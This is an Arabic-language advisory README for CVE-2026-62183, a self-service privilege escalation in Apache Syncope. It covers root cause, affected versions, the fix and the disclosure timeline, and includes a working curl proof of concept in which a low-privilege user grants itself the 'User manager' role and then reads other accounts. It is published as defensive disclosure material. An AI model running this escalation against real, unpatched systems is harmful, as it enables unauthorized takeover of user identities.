
Apache Syncope: تصعيد امتيازات الخدمة الذاتية للمستخدمين
إدارة صلاحيات غير لائقة (CWE-269) في Apache Syncope. يمكن لمستخدم مصادَق عليه وذو صلاحيات منخفضة أن يمنح نفسه أدواراً عشوائية (وعضويات في مجموعات، موارد خارجية، ونطاق جديد) عبر واجهة برمجة تطبيقات الخدمة الذاتية للمستخدم — وهي عمليات تتطلب صلاحيات إدارية في أي مسار رمز آخر — وبالتالي يصبح مسؤولاً عن مخزن الهوية.
هذا المستودع هو المرجع التقني للثغرة: السبب الجذري، وإثبات المفهوم المُؤكَّد وقت التشغيل، وملاحظات إعادة الإنتاج. توجد رواية سردية لكيفية اكتشافها بشكل منفصل (انظر الشرح).
| CVE | CVE-2026-62183 |
| البائع / المنتج | Apache Software Foundation — Apache Syncope |
| الحزمة المتأثرة | org.apache.syncope.core:syncope-core-workflow-java |
| التصنيف | CWE-269 إدارة صلاحيات غير لائقة (الآلية: CWE-862 فقدان التفويض) |
| الخطورة | مهمة (ASF PMC) · CVSS 3.1 8.8 AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H |
| المتأثر | 3.0.0-M0 → 3.0.16 · 4.0.0-M0 → 4.0.6 · 4.1.0-M0 → 4.1.1 |
| المُصحَّح في | 4.0.7 / 4.1.2 (SYNCOPE-1983) · الإصدار 3.0.x هو نهاية العمر (EOL)، لا يوجد إصلاح |
| تم التأكيد على | 3.0.16 (توزيعة مستقلة، JDK 17)، النطاق Master |
نقطة نهاية تحديث الخدمة الذاتية للمستخدم في Apache Syncope، PATCH /users/self/{key}، تتطلب فقط isAuthenticated(). طبقة المنطق المشترك تتخطى فحص التفويض لعمليات "الذات"، بينما لا يزال رابط البيانات يطبق حقول الطلب المميزة (roles، memberships، resources، auxClasses، realm). النتيجة هي تصعيد صلاحيات مباشر: يقوم مستخدم منخفض الصلاحيات بتعيين دور مميز لنفسه ويحصل فوراً على صلاحياته — بما في ذلك، مع دور قوي مناسب، الإدارة الكاملة لجميع المستخدمين. حيثما يكون التسجيل الذاتي ممكناً، ينطبق نفس الخلل على doCreate، لذا يمكن لمهاجم غير مصادَق عليه تسجيل حساب مميز بالفعل.
تنطبق الثغرة عندما يكون أحد محولات سير عمل المستخدم التالية مُكوَّناً (وهذا ما يحدده تنبيه البائع):
في الإنتاج، عادةً ما يتم تشغيل الخدمة الذاتية عبر واجهة المستخدم النهائي (Enduser UI)، التي لا تعرض تعيين الأدوار؛ الوصول إلى هذا يتطلب أن تكون واجهة برمجة تطبيقات REST الأساسية قابلة للاستدعاء من قبل المستخدم منخفض الصلاحيات. يستخدم إثبات المفهوم أدناه التوزيعة المستقلة (Standalone Distribution)، التي يوثقها Apache كاختبارية فقط، وتحتوي على بيانات أولية (المستخدم bellini، الأدوار المضمنة User manager / User reviewer) — هذه البيانات الأولية غير موجودة في نشر عام. هذه قيود صادقة على قابلية الاستغلال في العالم الحقيقي، وليس على صحة الخلل.
تدفق الطلب لـ PATCH /users/self/{key}:
UserSelfService.update(UserUR) common/.../rest/api/service/UserSelfService.java @PATCH @Path("users/self/{key}")
→ UserSelfLogic.update(...) core/idrepo/logic/.../UserSelfLogic.java
→ AbstractUserLogic.doUpdate(..., self=true)
→ UserDataBinderImpl.update(...) core/provisioning-java/.../data/UserDataBinderImpl.java
1. النقطة النهائية تفوّض فقط "هل هناك أي شخص مسجل الدخول؟" — UserSelfLogic.update:
@PreAuthorize("isAuthenticated() "
+ "and not(hasRole('" + IdRepoEntitlement.ANONYMOUS + "')) "
+ "and not(hasRole('" + IdRepoEntitlement.MUST_CHANGE_PASSWORD + "'))")
public ProvisioningResult<UserTO> update(final UserUR userUR, final boolean nullPriorityAsync) {
...
ProvisioningResult<UserTO> updated = doUpdate(userUR, true, nullPriorityAsync); // self = true
لا يُطلب أي حق تفويض (لا USER_UPDATE، لا نطاق دور/نطاق).
2. يتم تخطي فحص التفويض لعمليات الذات — AbstractUserLogic.doUpdate:
protected ProvisioningResult<UserTO> doUpdate(final UserUR userReq, final boolean self, ...) {
...
if (!self) { // self == true: تم تخطي الكتلة بأكملها
Set<String> authRealms = RealmUtils.getEffective(
AuthContextUtils.getAuthorizations().get(IdRepoEntitlement.USER_UPDATE), ...);
userDAO.securityChecks(authRealms, before.getKey(), before.getRealm(), groups);
}
...
}
3. يطبق رابط البيانات الحقول المميزة بغض النظر — يقوم UserDataBinderImpl.update(...) بتطبيق إضافة/حذف الدور، وmemberships(...) (المجموعات)، وfill(...) (الموارد / النطاق) مباشرة من الطلب، دون فحص صلاحية المتصل — من المفترض أن يعيش هذا الفحص في طبقة المنطق التي تتخطاها الخطوة 2. المسار الإداري (UserLogic.update، @PreAuthorize("hasRole('USER_UPDATE')")، doUpdate(..., false, ...)) يقوم بتشغيل securityChecks؛ مسار الذات لا يفعل ذلك.
يسري مفعول الدور الذي تم تصعيده عند المصادقة: AuthDataAccessor.getUserAuthorities(user) يمشّي userDAO.findAllRoles(user) ويجمع صلاحيات كل دور، لذا يكون الدور المُعيَّن ذاتياً نشطاً في الطلب/تسجيل الدخول التالي للمستخدم. نفس تخطي if (!self) موجود في doCreate، مما يمدد الخلل إلى التسجيل الذاتي.
باختصار: افترضت كل طبقة أن الأخرى فرضت فحص الصلاحية. فوضت النقطة النهائية التفويض إلى طبقة المنطق؛ تخطتها طبقة المنطق لـ self؛ وثق رابط البيانات في أن طبقة المنطق قد راقبت الحقول.
مستخدم مصادَق عليه عادي بدون أدوار يقوم بتعيين الدور المميز المضمن User manager (الذي يمنح USER_READ عبر /) لنفسه ثم يقرأ حساباً عشوائياً. لا حاجة لإجراء إداري، ولا تكوين خاص. النص البرمجي الكامل: poc.sh.
B=http://localhost:9080/syncope/rest
H='-H X-Syncope-Domain:Master -H Accept:application/json -H Content-Type:application/json'
# (إعداد، إداري) إنشاء مستخدم عادي بدون أدوار → يُعيد entity.key = $K2
curl -s -u admin:password $H -X POST "$B/users" -d '{"_class":"org.apache.syncope.common.lib.request.UserCR",
"realm":"/","username":"eviluser2","password":"Password123!","mustChangePassword":false,
"plainAttrs":[{"schema":"fullname","values":["E2"]},{"schema":"surname","values":["Two"]},
{"schema":"userId","values":["[email protected]"]}]}'
AUTH="-u eviluser2:Password123!"
# [1] خط الأساس — eviluser2 لا يمكنه قراءة حساب آخر:
curl -s $AUTH $H -o /dev/null -w '%{http_code}\n' "$B/users/bellini" # -> 403
# [2] الخلل — eviluser2 يُعيِّن الدور المميز الموجود "User manager" لنفسه:
curl -s $AUTH $H -X PATCH "$B/users/self/$K2" -d '{"_class":"org.apache.syncope.common.lib.request.UserUR",
"key":"'"$K2"'","roles":[{"operation":"ADD_REPLACE","value":"User manager"}]}' \
-w '%{http_code}\n' # -> 200 ; entity.roles=["User manager"]
# [3] تم التصعيد — eviluser2 الآن يقرأ أي حساب:
curl -s $AUTH $H -o /dev/null -w '%{http_code}\n' "$B/users/bellini" # -> 200
ملاحظ: [1] 403 → [2] 200 (الأدوار الآن ["User manager"]) → [3] 200. يستمر التعيين (تم التأكيد عبر العرض الإداري للمستخدم). نفس شكل الطلب يُعيِّن ذاتياً memberships (المجموعات)، resources (مما يؤدي إلى توفير الموارد إلى الأنظمة الخارجية)، و realm جديد.
يستخدم إثبات المفهوم عمداً فقط استدعاءات API مشروعة وموثقة لإظهار فجوة التفويض. إنه إثبات بسيط، وليس استغلالاً مسلحاً — انظر الاستخدام المسؤول.
انظر BUILD.md لإعداد تشغيل بدون Docker وبدون Maven (Tomcat مستقل + Temurin JDK 17) وفحوصات الجاهزية، ثم:
B=http://localhost:9080/syncope/rest ./poc.sh
يمكن لأي مستخدم مصادَق عليه — بما في ذلك أقل حساب خدمة ذاتية صلاحية — أن يمنح نفسه صلاحيات أي دور محدد. مع دور يحمل صلاحيات USER_* / إدارية واسعة، يكون هذا استيلاءً على مخزن الهوية: قراءة/تعديل/حذف جميع المستخدمين، بالإضافة إلى توفير الحسابات إلى الأنظمة الخارجية المتصلة عبر resources / memberships. حيثما يكون التسجيل الذاتي ممكناً، يمكن لمهاجم غير مصادَق عليه التسجيل مباشرة في حالة مميزة (PR:N، CVSS 9.8). تعتمد الصلاحيات الملموسة التي يتم الحصول عليها على الأدوار المحددة فعلياً في النشر المستهدف.
تم الإصلاح في 4.0.7 / 4.1.2 ضمن SYNCOPE-1983 ("اشتراط الموافقة الإدارية للتغييرات الذاتية التي تتجاوز السمات"). اكتسب UserCR / UserUR مسنداً requiresApproval() (صحيح عندما يمس الطلب الأدوار، العضويات، المجموعات، الموارد، العلاقات، الحسابات المرتبطة، أو مديري المستخدم/المجموعة)، وتقوم محولات سير العمل بتوجيه هذه الطلبات الذاتية من خلال الموافقة الإدارية بدلاً من تطبيقها مباشرة. الإصدار 3.0.x هو نهاية العمر ولا يتلقى الإصلاح — على مستخدمي 3.0.x المتأثرين الترقية إلى فرع مدعوم.
| التاريخ (2026) | الحدث |
|---|---|
| Jun 28 | تم الإبلاغ بشكل خاص إلى [email protected] مع تحليل السبب الجذري وإثبات المفهوم وقت التشغيل |
| Jul 13 | أكد فريق Apache Syncope PMC؛ تم حجز CVE-2026-62183؛ تم تقييم الخطورة مهمة |
| Jul 20 | تم إصدار الإصلاحات (4.0.7 / 4.1.2)؛ تم نشر تنبيه البائع وسجل CVE |
المكتشفون المعترف بهم، وفقاً لسجل CVE: Nic Jones (@NicPWNs) و elin kai. يوثق هذا المستودع التحليل على مستوى المصدر وإثبات المفهوم المُؤكَّد وقت التشغيل الذي ساهم به Nic Jones.
رواية سردية للبحث — المنهجية، تدقيق مشروع Apache الذي كشفه، وكيف تم تأكيده وقت التشغيل — موجودة على مدونتي: من الخدمة الذاتية إلى المسؤول: تصعيد صلاحيات في Apache Syncope.
تم نشر هذه المواد لأغراض دفاعية وتعليمية بعد الإفصاح المنسق وإصدار الإصدارات المُصحَّحة. يستخدم إثبات المفهوم فقط استدعاءات API مشروعة لإظهار عيب التفويض؛ إنها ليست أداة استغلال جماعي. لا تستخدمها ضد أنظمة غير مصرح لك باختبارها. إذا كنت تدير Apache Syncope، قم بالترقية إلى 4.0.7 / 4.1.2 (أو الخروج من 3.0.x).